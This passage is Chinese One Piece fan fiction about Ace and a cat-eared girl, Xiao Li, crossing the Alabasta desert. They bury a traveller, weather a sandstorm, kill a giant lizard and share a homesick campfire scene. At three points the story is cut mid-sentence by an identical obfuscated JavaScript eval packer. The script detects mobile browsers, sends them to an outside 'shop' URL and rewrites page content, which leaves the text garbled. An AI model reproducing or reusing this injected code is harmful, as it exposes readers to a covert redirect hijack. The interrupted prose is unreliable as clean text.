艾斯没解释,只是抱着她,像揣着心爱的宝物,几步助跑,借着船舷和缆绳的力道,轻盈地几个起落,便跃上了梅利号二层那处小小的、被娜美精心打理的空中花园——那里有一棵即使在海上也郁郁葱葱、结着青涩果实的橘子树。他在树荫下找了一处干净的地方,靠着木质的围栏坐下,然后将怀里的小狸调整了一下姿势,让她背对着自己,坐在自己两腿之间的甲板上,再非常自然、无比熟稔地收紧手臂,将她整个圈进自己怀中。做完这一切,他才仿佛终于满意,发出一声几不可闻的喟叹,下巴轻轻搁在了小狸柔软蓬松的发顶,依赖地、带着点撒娇意味地蹭了蹭,像大型动物在标记所有物,又像是在确认她的存在。 海风在高处变得更加清晰有力,吹得橘子树叶沙沙作响,也带来了下方甲板隐约的喧闹声,但在此刻,那些声音仿佛被一层无形的屏障隔开,变得遥远而模糊。这片被树荫和阳光切割出明暗交错光影的小小角落,仿佛自成一方静谧天地。 “小狸……”艾斯的声音从头顶传来,闷闷的,带着一丝刚睡醒般的沙哑,以及一种小狸从未听过的、细微的、近乎委屈的语调,“最近……好像很忙哦?” 他的手臂环得更紧了些,温热的气息拂过她的耳尖: “哥哥我……也是会寂寞的啊。” 这句话说得很轻,甚至带着点玩笑的口吻,但小狸的身体却几不可查地僵了一下。 艾斯说完,便不再言语,只是闭上了眼睛。他感受着怀中少女纤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941753|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细却不再过于嶙峋的腰身,嗅着她发间淡淡的、属于阳光和海风的清爽气息,以及她身上那种独特的、让他安心的温暖味道。那份因为她注意力被“分散”而产生的、连自己都未曾仔细分辨的细微躁动和空落感,奇异地、迅速地被她真实的体温和柔软的身躯所抚平、填满。熟悉的、令人放松的困意如同温暖的潮水,轻易漫过了他。他的呼吸逐渐变得平稳、悠长,胸膛规律的起伏透过薄薄的衣料传递到小狸的背上。 他竟然就这样,在午后的微风与树荫下,毫无防备地、沉沉地睡了过去。 小狸起初僵着身体,一动不敢动,心跳快得如同有一群惊慌的羚鹿在胸腔里狂奔乱撞,脸颊耳朵烫得吓人。她能清晰地感受到艾斯平稳呼吸时胸膛的起伏,能听到他强健有力的心跳隔着骨骼与肌肉传来,咚、咚、咚,像是沉稳的鼓点,敲在她的背脊,也敲在她的心上。他手臂的重量和温度,他下巴搁在头顶的触感,他周身散发的那种毫无保留的依赖与放松……一切都让她头晕目眩。 过了好一会儿,确认艾斯真的睡着了,她才像被抽掉一部分支撑般,极其缓慢地、一点点放松下来,让自己更服帖地靠进他怀里。这个怀抱如此熟悉,如此安全,仿佛漂泊的灵魂终于回归港湾。 她微微侧过头,目光从眼角偷偷向上望去,只能看到艾斯熟睡中毫无防备的侧脸轮廓。午后的阳光透过橘子树摇曳的叶片,在他脸上投下斑驳晃动的光斑,长长的睫毛在眼睑下留下浅浅的阴影,嘴角似乎还带着一丝极淡的、满足的弧度。这一刻,他褪去了所有“火拳”的凌厉与白胡子二番队队长的气势,看起来只是一个俊朗的、有些贪睡的青年。 小狸看得有些出神,心里那片柔软的角落像被羽毛轻轻搔过,酸酸胀胀,又充盈着难以言喻的温暖。她的尾巴尖不由自主地、极其轻微地摇晃了一下,然后,像是做出了什么决定,那条黑色的、毛茸茸的长尾巴悄无声息地从她身侧抬起,带着一点小心翼翼的试探,和一种无声的、柔软的占有欲,轻轻缠绕上了艾斯裸露在短裤和靴子之间的一截脚踝。那是一个安静却亲昵的回应,像一个无声的锚,将彼此的联系系得更紧。 感受着身后传来的、令人无比安心的体温与心跳,听着他均匀悠长的呼吸,小狸将发烫的脸颊轻轻贴在他坚实的胸膛上,闭上眼睛,用只有海风、树叶和自己才能听见的、微弱到近乎气音的声音,在心里最深处,悄悄呢喃: “最喜欢你了……” 她顿了顿,将那个称呼在唇齿间无声地咀嚼了一遍,带着无尽的眷恋与甜蜜,最终轻轻落下: “……艾斯。” --- 梅利号沿着阿拉巴斯坦漫长的海岸线平稳航行,炙热的阳光毫无遮挡地倾泻下来,将木质甲板烤得发烫,赤脚踩上去甚至会感到微微的刺痛。空气干燥,带着盐粒和沙尘的味道。终于,在薇薇的指引下,梅利号找到了一个相对隐蔽、背靠风蚀岩架的浅湾停靠。正式深入那片广袤无情的沙漠之前,充分的准备必不可少。 在薇薇的提醒和指挥下,大家都开始更换适合沙漠环境的衣物。 “沙漠里的阳光含有极强的紫外线,直接暴露在阳光下,皮肤很快会被严重灼伤,甚至脱水。”薇薇一边将准备好的当地传统服饰分发给众人,一边耐心解释,美丽的脸上带着严肃,“这些长袍和头巾不仅能有效防晒,其宽松的剪裁和特殊的织法也能帮助散热,保持身体相对干爽。” 艾斯也换上了适合沙漠行动的装束——依旧是那件标志性的黑色外套,背后巨大的白胡子骷髅标志与袖口环绕的火焰纹章在沙漠背景下显得愈发醒目不羁。他敞开着怀,露出精悍的胸膛和腹肌,下身是便于活动的深色短裤,整个人站在那里,便是一道相当时尚的风景线,帅气逼人。 小狸也领到了一套适合她身材的当地女性服饰。她好奇地抖开那件米白色、带有简单几何刺绣的宽松长袖罩衫。穿上后,轻薄的棉麻布料贴着皮肤,带来一种不同于海上衣物的、干燥柔软的触感。她将蓬松的黑色长发从同样米白色的兜帽里仔细捋出来,以免闷热,那对黑色的猫耳敏感地在兜帽的阴影下动了动,适应着新布料带来的细微摩擦感。长长的尾巴在宽大的衣摆下好奇地、带着点不适应地晃来晃去。 路飞元气满满的大嗓门打破了停泊后的短暂沉寂,他对着漫无边际的金色沙海,用力挥动橡胶手臂:“好——!!!那我们出发吧!去沙漠!去把那个叫沙鳄鱼的混蛋揍飞——!!!” “哦哦哦——!!!”伙伴们受到感染,齐声应和,斗志昂扬。 热浪,如同有生命的实体,在踏出岩架阴影的瞬间,便扑面而来,瞬间吸走了皮肤表层所有湿润。视线所及,是连绵起伏、如同凝固金色海浪的沙丘,一直延伸到天地交接的模糊界线。天空是一种被高温炙烤后的、近乎褪色的淡蓝,广阔得令人心悸,又空茫得让人感到自身的渺小。寂静,是这里的主旋律,只有风吹过沙粒表面的细微“沙沙”声,和自身越来越沉重的心跳与呼吸。 众人背上补给,正式踏进了那片象征着阿拉巴斯坦苦难根源的、无边无际的沙之海洋。 27. 绿洲,残阳和弟弟 穿过最后一道如同巨兽脊骨般蜿蜒的沙丘,传说中的“绿之城”——爱鲁马绿洲,终于在视野尽头浮现。然而,迎接他们的并非预想中的绿荫与清泉,只有一片被时光与风沙合力碾碎的苍凉。 断壁残垣在灼热的日光下投下短短一截扭曲的阴影,昔日精美的雕刻被沙粒磨平了棱角,只剩下模糊难辨的轮廓。一口被黄沙掩埋了大半的枯井,井沿的石块碎裂塌陷,像一张干渴至死、再也无法发出呐喊的嘴。风在这里呜咽着穿梭,卷起细微的沙尘,拂过那些沉默的石头,仿佛在低声诉说着昔日的潺潺流水、孩童嬉笑与绿树成荫,更反衬出此刻无边死寂的残酷。 薇薇的脚步不由自主地放慢,最终停在半截倾颓的土黄色墙壁前。她伸出纤细的手指,指尖微微颤抖着,抚过墙面上那道深刻的、不知是风化还是刀斧留下的裂痕。沙砾粗糙的触感硌着指腹,也硌在她的心上。 “……以前,这里真的是绿色的。”她的声音很轻,□□燥的风一吹就散,却沉沉地压在每个人心头,“有清甜的井水,茂盛的椰枣树,孩子们在树荫下奔跑……”她顿了顿,目光投向远处无边无际的金黄,那里只有热浪在蒸腾扭曲,“因为跳舞粉,雨再也不落在这片土地上了。人们开始为了一点水源争斗,饥荒蔓延,绝望像这沙尘一样吞噬一切。”她的声音逐渐低沉下去,带着一种深切的疲惫与无力,“然后……战争爆发了。兄弟、邻里、城镇之间……被看不见的黑手推动着,互相憎恨,互相厮杀。这座绿洲……就是在这样的混乱与绝望中,被遗弃,然后被黄沙……慢慢吃掉的。” 空气仿佛凝固了,只有热风卷动沙粒的细微声响。沉重的历史与现实的惨淡交织,压得人有些喘不过气。就连平时最闹腾的路飞,也难得安静下来,浓黑的眉毛紧皱着,看着这片死寂的废墟。 就在这令人窒息的静默中,乌索普眼尖地发现,不远处的沙丘旁,有一个几乎与沙土同色的隆起。 走近一看,所有人都沉默了。 那是一位早已失去生命气息的无名旅人。他面朝绿之城的方向蜷缩着,身体的大部分已被无情的风沙掩埋,只露出一只枯瘦的、紧紧攥着空水囊的手,和半边干涸如同龟裂土地的脸。他最后的表情凝固着一种混合着渴望与绝望的复杂神情,眼睛空洞地望向那片再也不会给他希望的废墟。 风沙还在试图将他彻底吞噬,抹去他存在过的最后一点痕迹。 薇薇的嘴唇微微颤抖,美丽的眼眸瞬间蒙上了一层厚重的水光。那不仅仅是面对死亡的悲伤,更是一种目睹子民在苦难中无声消逝、身为公主却无能为力的巨大痛楚与自责。她握紧了拳头,指节泛白,却发不出任何声音。 就在这时,一只小手轻轻拉住了艾斯的衣角。 艾斯低头。小狸正仰着脸看他,那双猫瞳里没有恐惧,也没有对死亡的过度反应,只有一种清晰的、柔软的恳求,她只是觉得现在,薇薇她——很难过。她看着薇薇那悲伤的侧影,尾巴无意识地轻轻扫着沙地,用眼神无声地诉说着:哥哥,能不能…… 艾斯瞬间懂了。他看向薇薇,语气温和而郑重,带着全然的尊重: “薇薇公主,”他开口,声音在寂静的废墟前显得格外清晰,“让他就这样暴露在风沙之中,最终彻底消失,未免太过凄凉了。他走到这里,或许心中还存着对‘绿洲’的最后一丝念想。”他顿了顿,“可以允许我们……让他入土为安吗?至少,在这片他拼尽最后力气抵达的土地上,获得一点安宁。” 薇薇微微一怔,似乎没料到艾斯会提出这样的请求。她看着艾斯真诚的黑眸,又看向小狸那双写满关切的蓝眼睛,胸口的滞涩仿佛被一道暖流轻轻化开些许。她用力眨了眨眼,将涌上的泪意逼回,深吸了一口灼热干燥的空气,郑重地点了点头,声音有些哽咽:“……拜托你们了。谢谢。” 艾斯不再多言。他走上前,蹲下身,那双能挥出“火拳”、足以撕裂钢铁的手掌,此刻却毫不犹豫地插进了滚烫的沙土中。他没有使用任何工具,就那样一下、一下,用手挖着。沙地看似松散,实则深处板结,挖起来并不轻松。细沙灌进他的指甲缝,高温灼烫着皮肤,但他动作稳定而有力,额角渗出细密的汗珠,在阳光下闪烁。 小狸默默走到他身边,也学着他的样子,用自己纤细的、指甲微微锋利的手,帮忙将挖出的沙土推到一边。 很快,一个简单的、足以容纳一人的沙穴挖好了。艾斯和小狸一起,极其轻柔地将那位不幸的旅人安置进去,让他保持面朝绿之城方向的姿态。艾斯将他那只紧握空水囊的手轻轻掰开,将水囊放在他手边,然后捧起沙土,缓缓覆盖上去。 没有墓碑,没有铭文。只有一堆在沙漠中毫不起眼的新鲜沙丘。风很快会将它抚平,痕迹终将消失。但在此刻,在这片他渴望的、却未能拯救他的土地上,他至少得到了一方小小的、暂时的安宁,而非曝尸荒野,被风沙彻底抹杀。 做完这一切,艾斯拍了拍手上的沙土,小狸也轻轻舒了口气。薇薇走到沙丘前,静静地站了一会儿,然后深深地鞠了一躬。她的悲伤依旧沉重,但眼底那种纯粹的、令人心碎的无力感,似乎因这一个小小的、充满尊重的仪式,而缓解了微不足道的一丝。 --- 沙漠的白昼,是名副其实的、移动的火焰地狱。毒辣的太阳悬在褪色的天穹中央,毫无怜悯地向大地倾泻着光与热。空气被炙烤得扭曲变形,远处的景物如同在水中晃动。热浪从沙面升腾而起,肉眼可见,每一次呼吸都仿佛将滚烫的沙粒吸入肺腑,榨干身体里最后一丝水分。 乔巴那一身厚实的毛皮成了最大的负担。他吐着舌头,呼哧呼哧地喘着气,蓝色的鼻头干得发亮,走路摇摇晃晃,像是下一秒就要融化在沙地里。乌索普和娜美也汗如雨下,裹着厚重的头巾和长袍,每一步都沉重不堪。 而小狸,则陷入了前所未有的矛盾与痛苦。平日里最喜欢黏着艾斯、把他当成人形暖炉和专属坐骑的她,此刻却罕见地、倔强地与艾斯保持着一个身位的“安全距离”。原因无他——艾斯身上那恒定散发的、如同冬日篝火般的暖意在夜里是恩赐,在这能把鸡蛋烤熟的白天,简直就是贴在身边的移动烤炉。靠得太近,那辐射的热度简直让她觉得自己黑色的头发都要被烤得卷曲冒烟。 她不是没想过变回猫形,让艾斯抱着走,既能节省体力又能享受阴凉。但一想到自己那身吸热能力MAX的纯黑色皮毛,会比乔巴还像一块正在融化的巧克力,立刻惊恐地打消了这个念头。于是,她只能蔫头耷脑地混在队伍里,小脸被晒得通红,汗水顺着鬓角和脖颈滑落,浸湿了米白色罩衫的领口。那双总是灵动摇曳的黑色猫耳,此刻无精打采地耷拉着,紧贴头皮,仿佛想把自己缩到最小;长长的尾巴也不再活泼,而是沉重地拖在身后,只在沙地上划出浅浅的、了无生气的痕迹。 艾斯走在她前面半步,不时回头看她。看着她被热浪蒸得眼神都有些涣散、嘴唇微微干裂的难受模样,他眉头微蹙,泛起清晰的心疼。他停下脚步,摘下自己头上那顶橘色的牛仔帽,拿在手里,对着小狸通红的小脸,轻轻地、一下一下地扇着风。 帽檐带起的微弱气流,夹杂着他身上干燥的、如同阳光晒过木材般的气息,拂过小狸汗湿的皮肤,带来一丝几乎可以忽略不计、却在此刻珍贵无比的凉意。 “再坚持一下,小狸。”他的声音不高,带着安抚的力量,“找到下一个阴凉处我们就休息。” 对他来说,烧烧果实的能力让他几乎免疫了这种程度的高温,炎热更像是一种温暖的包围。但他家这只过于敏感,格外怕热又怕冷的小猫,显然正在经历一场严酷的考验。 小狸抬起被汗水浸湿的眼睫,蓝色的眸子雾蒙蒙地看了他一眼,有气无力地点了点头,喉咙里发出一声细微的、带着委屈的呜咽,尾巴尖极其缓慢地晃了晃,算是回应。 --- 当炽白的太阳终于沉入沙海尽头,夜幕以惊人的速度降临。白天能将人烤化的酷热瞬间抽离,取而代之的是刺骨的寒意,仿佛从炼狱一步踏入了冰窟。气温骤降,呵出的气立刻变成白雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941754|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 众人迅速寻了一处背风的沙丘洼地,点燃了宝贵的篝火。橘红色的火焰跳跃着,驱散着黑暗与寒冷,提供着微不足道却至关重要的温暖。路飞、乌索普和乔巴似乎有耗不尽的精力,围着篝火又开始打闹嬉戏,乔巴被当做暖宝宝一样簇拥着,嬉笑声在寂静的沙漠夜空里传得很远。 艾斯则坐在稍远一点、篝火光晕边缘的阴影里。他背靠着沙壁,一条腿屈起,手臂随意地搭在膝盖上,黑色的眸子映照着跳动的火焰,显得格外沉静。 而白天那个坚决要与他保持“安全距离”、被热浪折磨得奄奄一息的小狸,此刻早就把所谓的“矜持”、“害羞”以及那点因为怕热而生的小脾气抛到了九霄云外。篝火的温暖对她来说远远不够。她几乎是循着本能,像一块终于找到热源的猫饼,“咻”地一下就黏了过去。 她熟练地钻进艾斯屈起的那条腿和身体之间的空隙,整个人侧着紧紧贴在他身侧,双臂环住他精悍的腰身,脸颊满足地埋进他的颈窝里,甚至还无意识地蹭了蹭,找到一个最舒适的角度。那条黑色的长尾巴从衣摆下钻出来,无比自然地、带着占有意味地搭在艾斯的腿上,尾尖满足地、有节奏地一摇一晃。喉咙里,发出细微而绵长的、如同小型引擎般的幸福呼噜声,在安静的夜色里清晰可闻。 恒温火炉的待遇,果然还是夜里最棒!白天受的苦,此刻都要加倍补回来。 薇薇安排好守夜顺序,注意到人群外安静依偎的两人,犹豫了一下,还是走了过去,在艾斯另一侧稍远些的位置坐下。她看着小狸那副恨不得长在艾斯身上的粘人模样和毫无波澜的艾斯,张了张嘴,最终还是把到嘴边的话咽了回去,只是唇角不自觉地带上一丝温和的笑意。 她的目光转向篝火另一边,那个正和乌索普乔巴为了最后一块肉干“大打出手”、毫无形象可言的草帽船长,不禁轻声感叹,语气里带着无奈,也有一丝不易察觉的羡慕:“路飞君……真的,完全不像个‘船长’呢。” 艾斯闻言,低低地笑了起来。笑声从他的胸腔传出,震动着紧贴着他的小狸。他伸出手,安抚地顺了顺小狸蹭乱的黑发,目光却越过跳跃的火焰,温柔地追随着弟弟那活力四射的身影。 “啊,那就是路飞的做法。”他的声音里充满了毫不掩饰的骄傲与纵容,“跟小时候一点都没变。脑子里只有‘冒险’、‘伙伴’和‘肉’,不懂权衡,不会算计,认准了的事就一头撞上去,十头牛都拉不回来。” 他顿了顿,眼神变得深邃而柔和:“但是,薇薇公主,你看,就是这样的他,身边却自然而然地聚集起了索隆、娜美、山治、乌索普、乔巴……还有你这样的伙伴。他或许不懂得什么是‘领袖魅力’,但他用最笨拙也最真诚的方式,把每一个人都当成了最重要的‘伙伴’。虽然他鲁莽,幼稚,但他的梦想、他的热血、他那种不顾一切也要保护身边人的傻劲……会让看到他的人,不知不觉就相信他,想跟着他,想帮他实现那个听起来遥不可及的梦。” 他的语气笃定,如同陈述真理:“我的弟弟,就是个有着这种不可思议魅力的家伙。笨拙,却比谁都闪耀。” 他侧过头,看向薇薇,了然地微微扬起嘴角:“不过,谢谢你。是担心我不高兴吗?” 薇薇被点破心思,有些不好意思地笑了笑,冰蓝色的眼眸在火光下闪烁着:“嗯……看来是我多虑了。您真的很了解他,也……非常以他为傲。” 艾斯坦然点头:“当然。” 薇薇的目光又落回艾斯怀里,那个似乎已经在温暖和安全的气息中陷入半睡半醒状态、只偶尔无意识地蹭蹭艾斯颈窝的猫耳少女。她再抬头,望向沙漠上空那无比清晰、璀璨如碎钻铺就天鹅绒的浩瀚星空,轻声说道,声音里带着真诚的感慨: “艾斯先生,真是一个既强大得令人安心,又温柔得不可思议的哥哥呢。” 艾斯没有回答,只是唇角那抹弧度,在篝火的明暗交错中,显得格外柔和。他放在小狸头上的手,又极轻地、充满了保护意味地,抚摸了一下。 28. 想家 沙漠的脾气,比最任性的孩童还要难以捉摸。比清晨第一缕曙光更早抵达营地的,是一场毫无预兆的、狂暴的怒吼——沙尘暴! 凄厉的风声如同万千恶鬼齐声尖啸,瞬间由远及近!前一秒还静谧的晴空被翻涌的、遮天蔽日的黄沙巨墙彻底吞噬。能见度在呼吸间降至为零,狂暴的风力卷起沙粒,打在裸露的皮肤上如同密集的鞭笞,生疼。世界陷入一片混沌的、咆哮的昏黄。 “大家抓紧身边固定的东西!趴下!”薇薇的喊声在风啸中显得微弱。 艾斯的反应快如本能。风声乍起的瞬间,他已猛地转身,将还迷迷糊糊的小狸整个严严实实地按进自己怀里。他背对着风暴袭来的方向,高大的身躯微微弓起,如同一堵最坚实的墙壁,用宽厚的背脊和肩膀为她挡住了最猛烈、最致命的沙尘冲击。滚烫的沙砾噼里啪啦打在他的风衣和裸露的皮肤上,他纹丝不动,只是将怀里的少女护得更紧,一只手牢牢按着她的后脑,将她的小脸埋在自己胸膛最深处。 小狸甚至来不及惊呼,就被熟悉的气息和安全无比的怀抱彻底包裹。耳边是惊天动地的风吼和沙砾撞击声,但更清晰的,是艾斯胸膛下沉稳有力的心跳,以及他手臂传来的、令人安心的、绝对守护的力量。她下意识地攥紧了他胸前的衣料,将身体缩到最小。 不知过了多久,那仿佛要撕裂天地的咆哮才渐渐减弱、平息。艾斯第一时间松开怀抱,仔细检查怀里的小狸,拂去她头发和肩膀上的浮沙,确认她毫发无伤,只是被吓到了,蓝眼睛睁得圆圆的。然后,他立刻起身,目光迅速扫过沙丘洼地。 “大家都没事吧?有没有人受伤?路飞?”他一个个名字喊过去,声音清晰而稳定,带着令人安心的力量。 小狸也回过神来,甩了甩头抖落沙子,立刻跑向薇薇,拉起她的手,又和其他人一起,在渐渐散去的沙尘中焦急地确认每一个伙伴的安危。直到确定所有人都平安,只是或多或少有些狼狈,两人才松了口气。 --- 接下来的旅程,在路飞一如既往的“意外体质”加持下,变得“精彩纷呈”。他先是被一只羽毛颜色艳丽、叫声可怜巴巴的沙漠大鸟轻易骗走了装着宝贵淡水和食物的行李;紧接着,又“救”回了一只眼神呆滞、步伐缓慢、看起来不太聪明但异常能负重的大型骆驼;还没等众人从这接二连三的“惊喜”中缓过气,路飞就已经被一只凶暴沙漠蜥蜴,怒吼追逐着从远处冲出。最终,在路飞、索隆、山治三人难得默契的合力围攻下,那只倒霉的蜥蜴才不甘地倒地。 “呼……总算解决了……”乌索普瘫坐在沙地上,感觉自己的小心脏快要罢工了。 “和你有什么关系啊!!” 然而,沙漠的恶意似乎永无止境。就在众人稍微松懈的瞬间—— “轰隆!!” 侧前方的沙地猛地炸开!一只体型比刚才那只庞大近一倍、表皮呈现出诡异暗紫色、眼神残暴冰冷的巨型蜥蜴,如同从地狱钻出的恶魔,毫无征兆地破沙而出!它粗壮的前肢拍击沙面,扬起漫天沙尘,血盆大口带着腥臭的风,速度快如闪电,竟直直朝着队伍侧后方——看起来最为放松、甚至正在拍打身上沙子的艾斯,以及紧挨着他、刚刚松了口气的小狸——噬咬而来! “小心后面——!艾斯!小狸!”眼尖的娜美第一个发出撕心裂肺的尖叫。 索隆和山治脸色剧变,想要回身救援,但距离和沙地拖慢了他们的速度! 就在那布满倒刺獠牙的巨口即将合拢的刹那—— 艾斯甚至连眉毛都没动一下。他依旧不紧不慢地拍掉袖口最后一点沙子,语气里带着一种近乎无奈的纵容,仿佛面对的不是致命威胁,而是弟弟又惹来的一个小麻烦: “真是的……一个接一个,没完没了啊。”他微微侧过头,瞥了一眼那疾扑而来的紫色巨影,甚至还有闲心叹了口气,“想让我陪你玩玩么?好吧好吧,真拿你没办法啊——” 他看似随意地抬起了右手,指尖有火星开始迸溅。 但,一道黑色的影子,比他抬手的动作更快! 是紧贴在他身边的小狸! 几乎在巨型蜥蜴破沙而出的同一瞬间,小狸浑身的毛发微微炸开,蓝色猫瞳瞬间收缩成一条锐利的竖线,里面没有恐惧,只有一种蠢蠢欲动的兴奋,感觉证明自己锻炼成果的机会终于来了 这个念头如同闪电划过脑海,身体早已先于意识而动! “咻——!” 她的身影在原地消失,只留下一道淡淡的残影和几缕扬起的沙尘。下一瞬,她已经突然出现在巨型蜥蜴宽阔丑陋的后背上,尖锐的指甲瞬间从指尖弹出,在沙漠的阳光下闪过寒光。没有丝毫犹豫,她用尽全身力气,朝着蜥蜴相对脆弱、没有厚重鳞甲覆盖的眼球部位,狠狠扎了下去! “噗嗤!” “嘶嘎啊啊啊——!!!” 令人牙酸的轻微声响后,是蜥蜴痛苦到极致的、尖锐刺耳的嘶鸣!它猛地甩动巨大的头颅,整个身体因为剧痛而疯狂扭动、翻滚,试图将背上的“小虫子”甩下来。黄沙被搅得天翻地覆。 就在它因剧痛而本能地张大嘴巴、发出惨嚎的瞬间—— 艾斯那原本看似随意抬起的右手,已然稳定地指向了它大张的血口。指尖,一颗颗被压缩到极致、内部呈现炽白、带着绿色光芒却散发着恐怖高温波动的火球,如同拥有生命般静静悬浮。 “萤火。” 他轻声说,手指轻轻一弹。 咻—— 那几颗小小的火球划出一道笔直的线,精准无比地、无声无息地射入了蜥蜴大张的喉咙深处,没入那黑暗的食道。 时间仿佛凝固了一瞬。 蜥蜴疯狂扭动的身躯猛地一僵,所有动作停滞。它那双被小狸抓伤、血流不止的眼睛里,残暴与痛苦被一种茫然的、源自生命本能的恐惧取代。 下一刻—— “嘭!!” 一声低沉却异常沉闷的巨响,从蜥蜴庞大的身躯内部传来!仿佛有什么东西在它体内最深处被点燃、引爆!它暗紫色的皮肤瞬间变得一片通红,如同烧红的烙铁,缕缕带着焦臭肉味的白色热气从它口鼻、甚至鳞片缝隙中猛烈喷出! 它连最后的哀鸣都没能发出,庞大的身躯晃了晃,然后像一座被抽空了基石的小山,轰然砸倒在沙地上,激起巨大的沙浪。皮肤上的通红迅速褪去,变成一种焦黑的颜色,空气中弥漫开一股浓郁而奇异的……烤肉香气。 战斗,从开始到结束,不过几个呼吸。 艾斯放下手,拍了拍身上并不存在的灰尘,看着倒地不起的巨蜥,无奈地叹了口气,转头对目瞪口呆、还没从这电光火石的逆转中回过神的草帽团众人,露出了一个带着歉意的、爽朗笑容: “抱歉啊,我这弟弟太能招惹麻烦了,总是引来些大家伙,害大家受惊了。” 众人看着地上那具还在微微冒烟的庞大“烤肉”,又看看一脸“真是麻烦”表情的艾斯,以及从他背上轻盈跳下、落地无声、正慢条斯理甩着手似乎想甩掉不存在的血迹、脸上还带着兴奋的小狸……集体陷入了更深的沉默。 这对“兄妹”……到底是什么品种的怪物啊?! --- 是夜,篝火再次燃起。众人围坐在火堆旁,分享着白天那只“主动送上门”的巨型蜥蜴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941755|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上最肥美的部分。简单的火焰炙烤,撒上一点随身携带的粗盐和香料,油脂在火舌的舔舐下滋滋作响,散发出诱人的焦香。 路飞早就忘了白天的惊险,吃得满嘴流油,肚子撑得滚圆,像颗充气过度的橡胶球,还在试图从山治那里再讨一块。乌索普一边啃着肉,一边已经开始构思如何将白天的“沙漠巨蜥歼灭战”添油加醋地写进自己伟大的冒险故事里。娜美虽然对蜥蜴肉的评价不高,但在沙漠中,任何蛋白质都是宝贵的补给。乔巴小口小口吃着,耳朵因为满足而微微晃动。 小狸也捧着一块烤得外焦里嫩的肉,小口小口地咀嚼着。肉质有些粗糙,带着沙漠生物特有的腥气,调味也远称不上精细,只有咸味和一点烟熏火燎的气息。吃着吃着,她忽然停下了动作,蓝色的猫瞳望着跳跃的火光,有些出神。 这个味道……和萨奇先生做的烤肉,差得好远啊。 她想起莫比迪克号上那巨大的宴会烤肉,外皮金黄焦脆,一刀切下去肉汁丰沛得能溅得满脸都是,香料复杂而和谐地融入每一丝纤维,入口即化,满口留香。想起萨奇一边挥舞着巨大的菜刀,一边豪爽大笑的样子;想起马尔科先生慵懒地提醒不要吃太多;想起比斯塔大叔炫耀他的剑术用来片肉多么完美;想起老爹洪亮的笑声和举起的巨大酒碗…… 一种陌生的、酸酸软软的情绪,悄然涌上心头,并不沉重,却格外清晰。她眨了眨眼,长长的睫毛在火光投下的阴影中颤动。 家…… 这个字眼自然而然地浮现在脑海。不是指那间冰冷破旧的锈带诊所,也不是指某个具体的地点。 是有着萨奇先生的烤肉、马尔科先生的草药茶、比斯塔大叔的剑术表演、老爹温暖手掌和艾斯哥哥火焰温度的地方。 是莫比迪克号。 她想家了。 这个认知让她自己都微微一愣,随即,一种奇异的、暖洋洋的甜意从心底漫开,冲散了那点因思念而产生的微酸。嘴角不由自主地向上弯起,形成一个柔软而明亮的笑容。原来,自己真的有了一个可以称之为“家”、会让人想念的地方了。 她侧过头,看向身边的艾斯。 艾斯正看着她。他并没有在吃东西,只是安静地坐在那里,背靠着沙壁,一条腿屈起,手臂搭在膝盖上。火光在他轮廓分明的侧脸上跳跃,映亮他深邃的黑眸。他看着她小口吃肉,看着她忽然停下,看着她出神,看着她嘴角慢慢漾开那个温暖明亮的笑容。 瞬间,艾斯仿佛被那个笑容击中了心脏最柔软的地方。他眼前的景象与记忆中的某个画面倏然重叠——锈带诊所昏暗的灯光下,瘦弱的小猫第一次吃到真正意义上的肉,一边掉着眼泪,一边努力咀嚼,眼里却闪着前所未有的、幸福到令人心碎的光芒。 那时的她,和此刻唇角带笑、眼里有光、因为想起“家”而温暖的她,身影交叠。 一股同样温暖、甚至更加澎湃的柔情毫无预兆地席卷了他。他的眼神在火光下变得无比柔和,嘴角也不自觉地跟着上扬,勾起一个深深的、充满欣慰与温柔的弧度。白天战斗的疲惫、沙漠跋涉的枯燥、弟弟惹来的麻烦……一切都在这个笑容面前变得微不足道。 这就够了。 小狸察觉到他的目光,转过头,对上他温柔含笑的眼睛。四目相对,她似乎读懂了他眼底那份无需言语的欣慰与了然。脸颊微微发热,有些不好意思地垂下眼睫,耳朵尖动了动,但脸上的笑容却更加灿烂了。她轻轻挪了挪身子,更靠近他一些,尾巴悄悄伸过去,柔软的尾尖像之前无数次那样,依赖地、轻轻地缠上了他的脚踝。 篝火噼啪作响,火星升腾,融入沙漠璀璨的星河。 29. 他的路 